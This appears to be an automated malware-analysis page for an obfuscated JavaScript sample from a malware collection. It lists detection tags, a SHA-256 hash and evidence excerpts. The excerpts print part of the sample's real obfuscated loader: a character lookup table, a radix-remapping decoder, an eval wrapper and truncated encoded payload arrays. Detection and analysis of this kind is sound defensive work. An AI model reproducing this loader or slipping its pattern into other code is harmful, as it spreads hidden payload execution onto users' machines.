Suspicious ^80% javascript-malware-collection Download

20151210_07cce78f2b925b118dd0cb92a5222dee.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-2565bd88af5e244f7f73f09a26c72006dd8a3c551fb2565a7e55415a51e6481c1ed

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var ywtpYkMtEGzon=[];
2nMOWuVb=(-977+977)/743;while(true){if(nMOWuVb>=(109722+614)/862){break;}ywtpYkMtEGzon[nMOWuVb]=String.fromCharCode(nMOWuVb);nMOWuVb++;}
3function fbTrs(jmKUUlYhUXm,KIgkUcgyFFMju,wcTElQzA){SrWH=parseInt(jmKUUlYhUXm,KIgkUcgyFFMju);yIsnv=SrWH.toString(wcTElQzA);return yIsnv;}function CiWfjozBvLYlZgw(kqZWXcHLLqOPaHjBc){eval(kqZWXcHLLqOPaHjBc)}
4function UvoUVoDVunaorBaymxkgenEHDvvShMoSFoYZPWHmobFLGYPKSTTUzY(HxnMCTTPKyNhm,yLaZCepSSDUtNd){ return ywtpYkMtEGzon[fbTrs(HxnMCTTPKyNhm[yLaZCepSSDUtNd],(4391+484)/195,(9297+503)/980)];}
5function wPRkHmG(cejTmOowsGnppYfimDxIPHecfZnCMLlGvdEm) {return !isNaN(parseFloat(cejTmOowsGnppYfimDxIPHecfZnCMLlGvdEm)) && isFinite(cejTmOowsGnppYfimDxIPHecfZnCMLlGvdEm);}
6function mxpACCbqYRV(FlLPIvUT,uBrHxb){return FlLPIvUT.split(uBrHxb)}
7var Z=[];Z[0]="d";Z[1]="a";Z[2]="d";Z[3]="a";Z[4]="4i";Z[5]="3m";Z[6]="4e";Z[7]="17";Z[8]="2j";Z[9]="17";Z[10]="2b";Z …

Massive array index assignment line 8

8:4324… ";A[861]="4g";A[862]="4e";A[863]="4l";A[864]="17";A[865]="17";A[866]="4n";A[867]="d";A[868]="a";A[869]="17";A[870]="17";A[871]="17";A[872]="17";A[873]="17";A[874]="17";A[875]="17";A[876]="17";A[877]="17";A[878]="17";A[879]="45";A[880]="42";A[881]="17";A[882]="1f";A[883]="1f";A[884]="1f";A[885]="4a";A[886]="41";A[887]="4j";A[888]="17";A[889]="2i";A[890]="3m";A[891]="4g";A[892]="41";A[893]="1f";A[894]="1g";A …